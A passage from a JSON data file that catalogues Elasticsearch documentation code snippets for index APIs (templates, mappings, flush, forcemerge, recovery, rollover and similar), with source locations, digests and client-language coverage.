\"data_stream\": { }\n}"}, {"source_location":{"file":"indices/put-index-template.asciidoc","line":344},"digest":"cd38c601ab293a6ec0e2df71d0c96b58","lang":"console","found":[],"source":"PUT /_component_template/template_with_2_shards\n{\n \"template\": {\n \"settings\": {\n \"index.number_of_shards\": 2\n }\n }\n}\n\nPUT /_component_template/template_with_3_shards\n{\n \"template\": {\n \"settings\": {\n \"index.number_of_shards\": 3\n }\n }\n}\n\nPUT /_index_template/template_1\n{\n \"index_patterns\": [\"t*\"],\n \"composed_of\": [\"template_with_2_shards\", \"template_with_3_shards\"]\n}"}, {"source_location":{"file":"indices/put-index-template-v1.asciidoc","line":14},"digest":"e5f50b31f165462d883ecbff45f74985","lang":"console","found":["php","js"],"source":"PUT _template/template_1\n{\n \"index_patterns\": [\"te*\", \"bar*\"],\n \"settings\": {\n \"number_of_shards\": 1\n },\n \"mappings\": {\n \"_source\": {\n \"enabled\": false\n },\n \"properties\": {\n \"host_name\": {\n \"type\": \"keyword\"\n },\n \"created_at\": {\n \"type\": \"date\",\n \"format\": \"EEE MMM dd HH:mm:ss Z yyyy\"\n }\n }\n }\n}"}, {"source_location":{"file":"indices/put-index-template-v1.asciidoc","line":149},"digest":"0fc4b589df5388da784c6d981e769e31","lang":"console","found":[],"source":"PUT _template/template_1\n{\n \"index_patterns\" : [\"te*\"],\n \"settings\" : {\n \"number_of_shards\" : 1\n },\n \"aliases\" : {\n \"alias1\" : {},\n \"alias2\" : {\n \"filter\" : {\n \"term\" : {\"user.id\" : \"kimchy\" }\n },\n \"routing\" : \"shard-1\"\n },\n \"{index}-alias\" : {} <1>\n }\n}"}, {"source_location":{"file":"indices/put-index-template-v1.asciidoc","line":183},"digest":"6ba332596f5eb29660c90ab2d480e7dc","lang":"console","found":[],"source":"PUT /_template/template_1\n{\n \"index_patterns\" : [\"te*\"],\n \"order\" : 0,\n \"settings\" : {\n \"number_of_shards\" : 1\n },\n \"mappings\" : {\n \"_source\" : { \"enabled\" : false }\n }\n}\n\nPUT /_template/template_2\n{\n \"index_patterns\" : [\"tes*\"],\n \"order\" : 1,\n \"settings\" : {\n \"number_of_shards\" : 1\n },\n \"mappings\" : {\n \"_source\" : { \"enabled\" : true }\n }\n}"}, {"source_location":{"file":"indices/put-index-template-v1.asciidoc","line":234},"digest":"488f6df1df71972392b670ce557f7ff3","lang":"console","found":["ruby"],"source":"PUT /_template/template_1\n{\n \"index_patterns\" : [\"my-index-*\"],\n \"order\" : 0,\n \"settings\" : {\n \"number_of_shards\" : 1\n },\n \"version\": 123\n}"}, {"source_location":{"file":"indices/put-index-template-v1.asciidoc","line":252},"digest":"46658f00edc4865dfe472a392374cd0f","lang":"console","found":["php","ruby","js"],"source":"GET /_template/template_1?filter_path=*.version"}, {"source_location":{"file":"indices/put-index-template-v1.asciidoc","line":260},"digest":"a2e618c0a7ef9368e0b39e7ece15e27e","lang":"console-result","found":[],"source":"{\n \"template_1\" : {\n \"version\" : 123\n }\n}"}, {"source_location":{"file":"indices/delete-component-template.asciidoc","line":25},"digest":"4f140d8922efdf3420e41b1cb669a289","lang":"console","found":["ruby"],"source":"DELETE _component_template/template_1"}, {"source_location":{"file":"indices/dangling-index-delete.asciidoc","line":13},"digest":"31f4400716500149cccbc19aa06bff66","lang":"console","found":[],"source":"DELETE /_dangling/?accept_data_loss=true"}, {"source_location":{"file":"indices/delete-alias.asciidoc","line":10},"digest":"f5140f08f56c64b5789357539f8b9ba8","lang":"console","found":["ruby"],"source":"DELETE my-data-stream/_alias/my-alias"}, {"source_location":{"file":"indices/delete-index.asciidoc","line":10},"digest":"caab99520d3fe41f6154d74a7f696057","lang":"console","found":["python","ruby"],"source":"DELETE /my-index-000001"}, {"source_location":{"file":"indices/delete-index-template.asciidoc","line":26},"digest":"bd458073196a19ecdeb24a8016488c20","lang":"console","found":["ruby"],"source":"DELETE /_index_template/my-index-template"}, {"source_location":{"file":"indices/delete-index-template-v1.asciidoc","line":29},"digest":"599f693cc7d30b1153f5eeecec8eb23a","lang":"console","found":["ruby"],"source":"DELETE /_template/my-legacy-index-template"}, {"source_location":{"file":"indices/indices-exists.asciidoc","line":10},"digest":"f45990264f8755b96b11c69c12c90ff4","lang":"console","found":["ruby"],"source":"HEAD my-data-stream"}, {"source_location":{"file":"indices/field-usage-stats.asciidoc","line":17},"digest":"bcb572658986d69ae17c28ddd7e4bfd8","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_field_usage_stats"}, {"source_location":{"file":"indices/field-usage-stats.asciidoc","line":168},"digest":"bcb572658986d69ae17c28ddd7e4bfd8","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_field_usage_stats"}, {"source_location":{"file":"indices/flush.asciidoc","line":10},"digest":"63e20883732ec30b5400046be2efb0f1","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_flush"}, {"source_location":{"file":"indices/flush.asciidoc","line":121},"digest":"63e20883732ec30b5400046be2efb0f1","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_flush"}, {"source_location":{"file":"indices/flush.asciidoc","line":131},"digest":"c208a06212dc0cf6ac413d4f2c154296","lang":"console","found":["ruby"],"source":"POST /my-index-000001,my-index-000002/_flush"}, {"source_location":{"file":"indices/flush.asciidoc","line":141},"digest":"f27c28ddbf4c266b5f42d14da837b8de","lang":"console","found":["ruby"],"source":"POST /_flush"}, {"source_location":{"file":"indices/forcemerge.asciidoc","line":12},"digest":"9b345e0bfd45f3a37194585ec9193478","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_forcemerge"}, {"source_location":{"file":"indices/forcemerge.asciidoc","line":172},"digest":"9b345e0bfd45f3a37194585ec9193478","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_forcemerge"}, {"source_location":{"file":"indices/forcemerge.asciidoc","line":182},"digest":"a9c08023354aa9b9023807962df71d13","lang":"console","found":["ruby"],"source":"POST /my-index-000001,my-index-000002/_forcemerge"}, {"source_location":{"file":"indices/forcemerge.asciidoc","line":192},"digest":"480e531db799c4c909afd8e2a73a8d0b","lang":"console","found":["ruby"],"source":"POST /_forcemerge"}, {"source_location":{"file":"indices/forcemerge.asciidoc","line":209},"digest":"004743b9c9f61588926ccf734696b713","lang":"console","found":["ruby"],"source":"POST /.ds-my-data-stream-2099.03.07-000001/_forcemerge?max_num_segments=1"}, {"source_location":{"file":"indices/get-alias.asciidoc","line":10},"digest":"412f8238ab5182678f1d8f6383031b11","lang":"console","found":["ruby"],"source":"GET my-data-stream/_alias/my-alias"}, {"source_location":{"file":"indices/get-component-template.asciidoc","line":40},"digest":"827b7e9308ea288f18aea00a5accc38e","lang":"console","found":["ruby"],"source":"GET /_component_template/template_1"}, {"source_location":{"file":"indices/get-component-template.asciidoc","line":86},"digest":"6c72460570307f23478100db04a84c8e","lang":"console","found":["ruby"],"source":"GET /_component_template/temp*"}, {"source_location":{"file":"indices/get-component-template.asciidoc","line":95},"digest":"dd4f051ab62f0507e3b6e3d6f333e85f","lang":"console","found":["ruby"],"source":"GET /_component_template"}, {"source_location":{"file":"indices/get-field-mapping.asciidoc","line":14},"digest":"6fa570ae7039171e2ab722344ec1063f","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_mapping/field/user"}, {"source_location":{"file":"indices/get-field-mapping.asciidoc","line":74},"digest":"136ae86b8d497dda799cf1cb583df929","lang":"console","found":["ruby"],"source":"PUT /publications\n{\n \"mappings\": {\n \"properties\": {\n \"id\": { \"type\": \"text\" },\n \"title\": { \"type\": \"text\" },\n \"abstract\": { \"type\": \"text\" },\n \"author\": {\n \"properties\": {\n \"id\": { \"type\": \"text\" },\n \"name\": { \"type\": \"text\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/get-field-mapping.asciidoc","line":96},"digest":"299900fb08da80fe455cf3f1bb7d62ee","lang":"console","found":["ruby"],"source":"GET publications/_mapping/field/title"}, {"source_location":{"file":"indices/get-field-mapping.asciidoc","line":104},"digest":"22f71640207a2e3d4dd49aac36040ec8","lang":"console-result","found":[],"source":"{\n \"publications\": {\n \"mappings\": {\n \"title\": {\n \"full_name\": \"title\",\n \"mapping\": {\n \"title\": {\n \"type\": \"text\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/get-field-mapping.asciidoc","line":129},"digest":"ed3bdf4d6799b43526851e92b6a60c55","lang":"console","found":["ruby"],"source":"GET publications/_mapping/field/author.id,abstract,name"}, {"source_location":{"file":"indices/get-field-mapping.asciidoc","line":137},"digest":"e7f96a786722ae6daca6f8bcc6cd90d1","lang":"console-result","found":[],"source":"{\n \"publications\": {\n \"mappings\": {\n \"author.id\": {\n \"full_name\": \"author.id\",\n \"mapping\": {\n \"id\": {\n \"type\": \"text\"\n }\n }\n },\n \"abstract\": {\n \"full_name\": \"abstract\",\n \"mapping\": {\n \"abstract\": {\n \"type\": \"text\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/get-field-mapping.asciidoc","line":165},"digest":"b61afb7ca29a11243232ffcc8b5a43cf","lang":"console","found":["ruby"],"source":"GET publications/_mapping/field/a*"}, {"source_location":{"file":"indices/get-field-mapping.asciidoc","line":173},"digest":"75311399baa651a6df82f8bf60aaec3a","lang":"console-result","found":[],"source":"{\n \"publications\": {\n \"mappings\": {\n \"author.name\": {\n \"full_name\": \"author.name\",\n \"mapping\": {\n \"name\": {\n \"type\": \"text\"\n }\n }\n },\n \"abstract\": {\n \"full_name\": \"abstract\",\n \"mapping\": {\n \"abstract\": {\n \"type\": \"text\"\n }\n }\n },\n \"author.id\": {\n \"full_name\": \"author.id\",\n \"mapping\": {\n \"id\": {\n \"type\": \"text\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/get-field-mapping.asciidoc","line":226},"digest":"29d9df958de292cec50daaf31844b573","lang":"console","found":["ruby"],"source":"GET /my-index-000001,my-index-000002/_mapping/field/message"}, {"source_location":{"file":"indices/get-field-mapping.asciidoc","line":236},"digest":"646d71869f1a18c5bede7759559bfc47","lang":"console","found":["ruby"],"source":"GET /_all/_mapping/field/message"}, {"source_location":{"file":"indices/get-field-mapping.asciidoc","line":245},"digest":"dbdd58cdeac9ef20b42ff73e4864e697","lang":"console","found":["ruby"],"source":"GET /_all/_mapping/field/*.id"}, {"source_location":{"file":"indices/get-index.asciidoc","line":11},"digest":"a6bb306ca250cf651f19cae808b97012","lang":"console","found":["python","ruby"],"source":"GET /my-index-000001"}, {"source_location":{"file":"indices/get-settings.asciidoc","line":11},"digest":"e1d6ecab4148b09f4c605474157e7dbd","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings"}, {"source_location":{"file":"indices/get-settings.asciidoc","line":76},"digest":"2f0b2181c434a879a23b4643bdd92575","lang":"console","found":["ruby"],"source":"GET /my-index-000001,my-index-000002/_settings\n\nGET /_all/_settings\n\nGET /log_2099_*/_settings"}, {"source_location":{"file":"indices/get-settings.asciidoc","line":92},"digest":"5faa121e00a0582160b2adb2b72fed67","lang":"console","found":["ruby"],"source":"GET /log_2099_-*/_settings/index.number_*"}, {"source_location":{"file":"indices/get-index-template.asciidoc","line":35},"digest":"3759ca688c4bd3c838780a9aad63258b","lang":"console","found":["ruby"],"source":"GET /_index_template/template_1"}, {"source_location":{"file":"indices/get-index-template.asciidoc","line":78},"digest":"275ec358d5d1e4b9ff06cb4ae7e47650","lang":"console","found":["ruby"],"source":"GET /_index_template/temp*"}, {"source_location":{"file":"indices/get-index-template.asciidoc","line":87},"digest":"3b40db1c5c6b36f087d7a09a4ce285c6","lang":"console","found":["ruby"],"source":"GET /_index_template"}, {"source_location":{"file":"indices/get-index-template-v1.asciidoc","line":35},"digest":"02f65c6bab8f40bf3ce18160623d1870","lang":"console","found":["ruby"],"source":"GET /_template/template_1"}, {"source_location":{"file":"indices/get-index-template-v1.asciidoc","line":79},"digest":"24aee6033bf77a68ced74e3fd9d34283","lang":"console","found":["ruby"],"source":"GET /_template/template_1,template_2"}, {"source_location":{"file":"indices/get-index-template-v1.asciidoc","line":88},"digest":"ba6040de55afb2c8fb9e5b24bb038820","lang":"console","found":["ruby"],"source":"GET /_template/temp*"}, {"source_location":{"file":"indices/get-index-template-v1.asciidoc","line":97},"digest":"fd2d289e6b725fcc3cbe8fe7ffe02ea0","lang":"console","found":["ruby"],"source":"GET /_template"}, {"source_location":{"file":"indices/get-mapping.asciidoc","line":11},"digest":"a6fdd0100cd362df54af6c95d1055c96","lang":"console","found":["python","ruby","go"],"source":"GET /my-index-000001/_mapping"}, {"source_location":{"file":"indices/get-mapping.asciidoc","line":70},"digest":"1259a9c151730e42de35bb2d1ba700c6","lang":"console","found":["python","ruby"],"source":"GET /my-index-000001,my-index-000002/_mapping"}, {"source_location":{"file":"indices/get-mapping.asciidoc","line":79},"digest":"5b7d6f1db88ca6f42c48fa3dbb4341e8","lang":"console","found":["php","python","ruby","go"],"source":"GET /*/_mapping\n\nGET /_all/_mapping\n\nGET /_mapping"}, {"source_location":{"file":"indices/dangling-index-import.asciidoc","line":13},"digest":"a3d943ac9d45b4eff4aa0c679b4eceb3","lang":"console","found":[],"source":"POST /_dangling/?accept_data_loss=true"}, {"source_location":{"file":"indices/dangling-index-import.asciidoc","line":59},"digest":"ca98afbd6a90f63e02f62239d225313b","lang":"console","found":[],"source":"POST /_dangling/zmM4e0JtBkeUjiHD-MihPQ?accept_data_loss=true"}, {"source_location":{"file":"indices/dangling-index-import.asciidoc","line":67},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"indices/recovery.asciidoc","line":12},"digest":"6c70b022a8a74b887fe46e514feb38c0","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_recovery"}, {"source_location":{"file":"indices/recovery.asciidoc","line":193},"digest":"13ebcb01ebf1b5d2b5c52739db47e30c","lang":"console","found":["ruby"],"source":"GET index1,index2/_recovery?human"}, {"source_location":{"file":"indices/recovery.asciidoc","line":248},"digest":"5dfb23f6e36ef484f1d3271bae76a8d1","lang":"console","found":["ruby"],"source":"GET /_recovery?human"}, {"source_location":{"file":"indices/recovery.asciidoc","line":256},"digest":"ad9c25f4f75947bbae1b3cac8840c4ec","lang":"console-result","found":[],"source":"{\n \"index1\" : {\n \"shards\" : [ {\n \"id\" : 0,\n \"type\" : \"SNAPSHOT\",\n \"stage\" : \"INDEX\",\n \"primary\" : true,\n \"start_time\" : \"2014-02-24T12:15:59.716\",\n \"start_time_in_millis\": 1393244159716,\n \"stop_time\" : \"0s\",\n \"stop_time_in_millis\" : 0,\n \"total_time\" : \"2.9m\",\n \"total_time_in_millis\" : 175576,\n \"source\" : {\n \"repository\" : \"my_repository\",\n \"snapshot\" : \"my_snapshot\",\n \"index\" : \"index1\",\n \"version\" : \"{version}\",\n \"restoreUUID\": \"PDh1ZAOaRbiGIVtCvZOMww\"\n },\n \"target\" : {\n \"id\" : \"ryqJ5lO5S4-lSFbGntkEkg\",\n \"host\" : \"my.fqdn\",\n \"transport_address\" : \"my.fqdn\",\n \"ip\" : \"10.0.1.7\",\n \"name\" : \"my_es_node\"\n },\n \"index\" : {\n \"size\" : {\n \"total\" : \"75.4mb\",\n \"total_in_bytes\" : 79063092,\n \"reused\" : \"0b\",\n \"reused_in_bytes\" : 0,\n \"recovered\" : \"65.7mb\",\n \"recovered_in_bytes\" : 68891939,\n \"recovered_from_snapshot\" : \"0b\",\n \"recovered_from_snapshot_in_bytes\" : 0,\n \"percent\" : \"87.1%\"\n },\n \"files\" : {\n \"total\" : 73,\n \"reused\" : 0,\n \"recovered\" : 69,\n \"percent\" : \"94.5%\"\n },\n \"total_time\" : \"0s\",\n \"total_time_in_millis\" : 0,\n \"source_throttle_time\" : \"0s\",\n \"source_throttle_time_in_millis\" : 0,\n \"target_throttle_time\" : \"0s\",\n \"target_throttle_time_in_millis\" : 0\n },\n \"translog\" : {\n \"recovered\" : 0,\n \"total\" : 0,\n \"percent\" : \"100.0%\",\n \"total_on_start\" : 0,\n \"total_time\" : \"0s\",\n \"total_time_in_millis\" : 0\n },\n \"verify_index\" : {\n \"check_index_time\" : \"0s\",\n \"check_index_time_in_millis\" : 0,\n \"total_time\" : \"0s\",\n \"total_time_in_millis\" : 0\n }\n } ]\n }\n}"}, {"source_location":{"file":"indices/recovery.asciidoc","line":350},"digest":"5619103306878d58a058bce87c5bd82b","lang":"console","found":["ruby"],"source":"GET _recovery?human&detailed=true"}, {"source_location":{"file":"indices/recovery.asciidoc","line":358},"digest":"3bee53b243a7d9cbed01992efbf40bb9","lang":"console-result","found":[],"source":"{\n \"index1\" : {\n \"shards\" : [ {\n \"id\" : 0,\n \"type\" : \"STORE\",\n \"stage\" : \"DONE\",\n \"primary\" : true,\n \"start_time\" : \"2014-02-24T12:38:06.349\",\n \"start_time_in_millis\" : \"1393245486349\",\n \"stop_time\" : \"2014-02-24T12:38:08.464\",\n \"stop_time_in_millis\" : \"1393245488464\",\n \"total_time\" : \"2.1s\",\n \"total_time_in_millis\" : 2115,\n \"source\" : {\n \"id\" : \"RGMdRc-yQWWKIBM4DGvwqQ\",\n \"host\" : \"my.fqdn\",\n \"transport_address\" : \"my.fqdn\",\n \"ip\" : \"10.0.1.7\",\n \"name\" : \"my_es_node\"\n },\n \"target\" : {\n \"id\" : \"RGMdRc-yQWWKIBM4DGvwqQ\",\n \"host\" : \"my.fqdn\",\n \"transport_address\" : \"my.fqdn\",\n \"ip\" : \"10.0.1.7\",\n \"name\" : \"my_es_node\"\n },\n \"index\" : {\n \"size\" : {\n \"total\" : \"24.7mb\",\n \"total_in_bytes\" : 26001617,\n \"reused\" : \"24.7mb\",\n \"reused_in_bytes\" : 26001617,\n \"recovered\" : \"0b\",\n \"recovered_in_bytes\" : 0,\n \"recovered_from_snapshot\" : \"0b\",\n \"recovered_from_snapshot_in_bytes\" : 0,\n \"percent\" : \"100.0%\"\n },\n \"files\" : {\n \"total\" : 26,\n \"reused\" : 26,\n \"recovered\" : 0,\n \"percent\" : \"100.0%\",\n \"details\" : [ {\n \"name\" : \"segments.gen\",\n \"length\" : 20,\n \"recovered\" : 20\n }, {\n \"name\" : \"_0.cfs\",\n \"length\" : 135306,\n \"recovered\" : 135306,\n \"recovered_from_snapshot\": 0\n }, {\n \"name\" : \"segments_2\",\n \"length\" : 251,\n \"recovered\" : 251,\n \"recovered_from_snapshot\": 0\n }\n ]\n },\n \"total_time\" : \"2ms\",\n \"total_time_in_millis\" : 2,\n \"source_throttle_time\" : \"0s\",\n \"source_throttle_time_in_millis\" : 0,\n \"target_throttle_time\" : \"0s\",\n \"target_throttle_time_in_millis\" : 0\n },\n \"translog\" : {\n \"recovered\" : 71,\n \"total\" : 0,\n \"percent\" : \"100.0%\",\n \"total_on_start\" : 0,\n \"total_time\" : \"2.0s\",\n \"total_time_in_millis\" : 2025\n },\n \"verify_index\" : {\n \"check_index_time\" : 0,\n \"check_index_time_in_millis\" : 0,\n \"total_time\" : \"88ms\",\n \"total_time_in_millis\" : 88\n }\n } ]\n }\n}"}, {"source_location":{"file":"indices/segments.asciidoc","line":12},"digest":"1e3384bc255729b65a6f0fc8011ff733","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_segments"}, {"source_location":{"file":"indices/segments.asciidoc","line":105},"digest":"940e8c2c7ff92d71f489bdb7183c1ce6","lang":"console","found":["ruby"],"source":"GET /test/_segments"}, {"source_location":{"file":"indices/segments.asciidoc","line":114},"digest":"975b4b92464d52068516aa2f0f955cc1","lang":"console","found":["ruby"],"source":"GET /test1,test2/_segments"}, {"source_location":{"file":"indices/segments.asciidoc","line":123},"digest":"6414b9276ba1c63898c3ff5cbe03c54e","lang":"console","found":["ruby"],"source":"GET /_segments"}, {"source_location":{"file":"indices/shard-stores.asciidoc","line":13},"digest":"808f4db1e2361be77dd6816c1f818139","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_shard_stores"}, {"source_location":{"file":"indices/shard-stores.asciidoc","line":114},"digest":"cd93919e13f656ad2e6629f45c579b93","lang":"console","found":["ruby"],"source":"GET /test/_shard_stores"}, {"source_location":{"file":"indices/shard-stores.asciidoc","line":124},"digest":"af970eb8b93cdea52209e1256eba9d8c","lang":"console","found":["ruby"],"source":"GET /test1,test2/_shard_stores"}, {"source_location":{"file":"indices/shard-stores.asciidoc","line":134},"digest":"00b3b6d76a368ae71277ea24af318693","lang":"console","found":["ruby"],"source":"GET /_shard_stores"}, {"source_location":{"file":"indices/shard-stores.asciidoc","line":150},"digest":"3545261682af72f4bee57f2bac0a9590","lang":"console","found":["ruby"],"source":"GET /_shard_stores?status=green"}, {"source_location":{"file":"indices/shard-stores.asciidoc","line":159},"digest":"8fab69a688afa20f83a8d250e4e12b9f","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \"my-index-000001\": {\n \"shards\": {\n \"0\": { <1>\n \"stores\": [ <2>\n {\n \"sPa3OgxLSYGvQ4oPs-Tajw\": { <3>\n \"name\": \"node_t0\",\n \"ephemeral_id\" : \"9NlXRFGCT1m8tkvYCMK-8A\",\n \"transport_address\": \"local[1]\",\n \"external_id\": \"node_t0\",\n \"attributes\": {},\n \"roles\": [...],\n \"version\": \"8.10.0\",\n \"min_index_version\": 7000099,\n \"max_index_version\": 8100099\n },\n \"allocation_id\": \"2iNySv_OQVePRX-yaRH_lQ\", <4>\n \"allocation\" : \"primary|replica|unused\" <5>\n \"store_exception\": ... <6>\n }\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/stats.asciidoc","line":11},"digest":"92fe53019958ba466d1272da0834cf53","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_stats"}, {"source_location":{"file":"indices/stats.asciidoc","line":105},"digest":"e0b2f56c34e33ff52f8f9658be2f7ca1","lang":"console","found":["ruby"],"source":"GET /index1,index2/_stats"}, {"source_location":{"file":"indices/stats.asciidoc","line":115},"digest":"78c4035e4fbf6851140660f6ed2a1fa5","lang":"console","found":["ruby"],"source":"GET /_stats"}, {"source_location":{"file":"indices/stats.asciidoc","line":129},"digest":"a861a89f52008610e813b9f073951c58","lang":"console","found":["ruby"],"source":"GET /_stats/merge,refresh"}, {"source_location":{"file":"indices/stats.asciidoc","line":143},"digest":"7a8de5606f283f4ef171b015eef6befa","lang":"console","found":["ruby"],"source":"GET /_stats/search?groups=group1,group2"}, {"source_location":{"file":"indices/index-template-exists-v1.asciidoc","line":17},"digest":"a6be6c1cb4a556866fdccb0dee2f1dea","lang":"console","found":["ruby"],"source":"HEAD /_template/template_1"}, {"source_location":{"file":"indices/dangling-indices-list.asciidoc","line":13},"digest":"21c1e6ee886140ce0cd67184dd19b981","lang":"console","found":["ruby"],"source":"GET /_dangling"}, {"source_location":{"file":"indices/dangling-indices-list.asciidoc","line":44},"digest":"846c57205ff2a047686604c263f07cd6","lang":"console-result","found":[],"source":"{\n \"dangling_indices\": [\n {\n \"index_name\": \"my-index-000001\",\n \"index_uuid\": \"zmM4e0JtBkeUjiHD-MihPQ\",\n \"creation_date_millis\": 1589414451372,\n \"node_ids\": [\n \"pL47UN3dAb2d5RCWP6lQ3e\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"indices/open-close.asciidoc","line":11},"digest":"8739fad1fb2323950b673acf0c9f2ff5","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_open"}, {"source_location":{"file":"indices/open-close.asciidoc","line":120},"digest":"8739fad1fb2323950b673acf0c9f2ff5","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_open"}, {"source_location":{"file":"indices/open-close.asciidoc","line":128},"digest":"b7f1bac8190da1838d2b181c79b58126","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true,\n \"shards_acknowledged\" : true\n}"}, {"source_location":{"file":"indices/refresh.asciidoc","line":13},"digest":"e6dcc2911d2416a65eaec9846b956e15","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_refresh"}, {"source_location":{"file":"indices/refresh.asciidoc","line":103},"digest":"032eac56b798bea29390e102538f4a26","lang":"console","found":["ruby"],"source":"POST /my-index-000001,my-index-000002/_refresh"}, {"source_location":{"file":"indices/refresh.asciidoc","line":113},"digest":"d7898526d239d2aea83727fb982f8f77","lang":"console","found":["ruby"],"source":"POST /_refresh"}, {"source_location":{"file":"indices/resolve.asciidoc","line":47},"digest":"d524db57be9f16abac5396895b9a2a59","lang":"console","found":["ruby"],"source":"GET /_resolve/index/my-index-*"}, {"source_location":{"file":"indices/resolve.asciidoc","line":101},"digest":"bd57976bc93ca64b2d3e001df9f06c82","lang":"console","found":["ruby"],"source":"GET /_resolve/index/f*,remoteCluster1:bar*?expand_wildcards=all"}, {"source_location":{"file":"indices/resolve.asciidoc","line":110},"digest":"c5d74d7f61f26ecd317a05e455d8a527","lang":"console-result","found":[],"source":"{\n \"indices\": [ <1>\n {\n \"name\": \"foo_closed\",\n \"attributes\": [\n \"closed\" <2>\n ]\n },\n {\n \"name\": \"freeze-index\",\n \"aliases\": [\n \"f-alias\"\n ],\n \"attributes\": [\n \"open\"\n ]\n },\n {\n \"name\": \"remoteCluster1:bar-01\",\n \"attributes\": [\n \"open\"\n ]\n }\n ],\n \"aliases\": [ <3>\n {\n \"name\": \"f-alias\",\n \"indices\": [\n \"freeze-index\",\n \"my-index-000001\"\n ]\n }\n ],\n \"data_streams\": [ <4>\n {\n \"name\": \"foo\",\n \"backing_indices\": [\n \".ds-foo-2099.03.07-000001\"\n ],\n \"timestamp_field\": \"@timestamp\"\n }\n ]\n}"}, {"source_location":{"file":"indices/resolve-cluster.asciidoc","line":58},"digest":"43e86fbaeed068dcc981214338559b5a","lang":"console","found":[],"source":"GET /_resolve/cluster/my-index-*,cluster*:my-index-*"}, {"source_location":{"file":"indices/resolve-cluster.asciidoc","line":141},"digest":"2b7687e3d7c06824950e00618c297864","lang":"console","found":[],"source":"GET /_resolve/cluster/my-index*,clust*:my-index*"}, {"source_location":{"file":"indices/resolve-cluster.asciidoc","line":150},"digest":"2fc4e59ba2027eed14b9d470ab1ef0d5","lang":"console-result","found":[],"source":"{\n \"(local)\": { <1>\n \"connected\": true,\n \"skip_unavailable\": false,\n \"matching_indices\": true,\n \"version\": {\n \"number\": \"8.13.0\",\n \"build_flavor\": \"default\",\n \"minimum_wire_compatibility_version\": \"7.17.0\",\n \"minimum_index_compatibility_version\": \"7.0.0\"\n }\n },\n \"cluster_one\": {\n \"connected\": true, <2>\n \"skip_unavailable\": true, <3>\n \"matching_indices\": true, <4>\n \"version\": {\n \"number\": \"8.13.0\", <5>\n \"build_flavor\": \"default\",\n \"minimum_wire_compatibility_version\": \"7.17.0\",\n \"minimum_index_compatibility_version\": \"7.0.0\"\n }\n },\n \"cluster_two\": {\n \"connected\": true,\n \"skip_unavailable\": false,\n \"matching_indices\": true,\n \"version\": {\n \"number\": \"8.13.0\",\n \"build_flavor\": \"default\",\n \"minimum_wire_compatibility_version\": \"7.17.0\",\n \"minimum_index_compatibility_version\": \"7.0.0\"\n }\n }\n}"}, {"source_location":{"file":"indices/resolve-cluster.asciidoc","line":206},"digest":"357edc9d10e98ed776401c7a439a1a55","lang":"console","found":[],"source":"GET /_resolve/cluster/not-present,clust*:my-index*,oldcluster:*?ignore_unavailable=false"}, {"source_location":{"file":"indices/resolve-cluster.asciidoc","line":213},"digest":"7219b3216dcd5f6e75df01ac86219c1a","lang":"console-result","found":[],"source":"{\n \"(local)\": {\n \"connected\": true,\n \"skip_unavailable\": false,\n \"error\": \"no such index [not_present]\" <1>\n },\n \"cluster_one\": {\n \"connected\": true,\n \"skip_unavailable\": true,\n \"matching_indices\": false, <2>\n \"version\": {\n \"number\": \"8.13.0\",\n \"build_flavor\": \"default\",\n \"minimum_wire_compatibility_version\": \"7.17.0\",\n \"minimum_index_compatibility_version\": \"7.0.0\"\n }\n },\n \"cluster_two\": {\n \"connected\": false, <3>\n \"skip_unavailable\": false,\n \"matching_indices\": true,\n \"version\": {\n \"number\": \"8.13.0\",\n \"build_flavor\": \"default\",\n \"minimum_wire_compatibility_version\": \"7.17.0\",\n \"minimum_index_compatibility_version\": \"7.0.0\"\n }\n },\n \"oldcluster\": { <4>\n \"connected\": true,\n \"skip_unavailable\": false,\n \"matching_indices\": true\n }\n}"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":10},"digest":"1e547696f54582840040b1aa6661760c","lang":"console","found":["ruby"],"source":"POST my-data-stream/_rollover"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":226},"digest":"1e547696f54582840040b1aa6661760c","lang":"console","found":["ruby"],"source":"POST my-data-stream/_rollover"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":237},"digest":"af91019991bee136df5460e2fd4ac72a","lang":"console","found":[],"source":"POST my-data-stream/_rollover?lazy"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":255},"digest":"f128a9dff5051b47efe2c53c4454a68f","lang":"console","found":["ruby"],"source":"POST my-data-stream/_rollover\n{\n \"conditions\": {\n \"max_age\": \"7d\",\n \"max_docs\": 1000,\n \"max_primary_shard_size\": \"50gb\",\n \"max_primary_shard_docs\": \"2000\"\n }\n}"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":273},"digest":"34be32410315bfda356a6dca9692be8a","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true,\n \"shards_acknowledged\": true,\n \"old_index\": \".ds-my-data-stream-2099.05.06-000001\",\n \"new_index\": \".ds-my-data-stream-2099.05.07-000002\",\n \"rolled_over\": true,\n \"dry_run\": false,\n \"lazy\": false,\n \"conditions\": {\n \"[max_age: 7d]\": false,\n \"[max_docs: 1000]\": true,\n \"[max_primary_shard_size: 50gb]\": false,\n \"[max_primary_shard_docs: 2000]\": false\n }\n}"}, 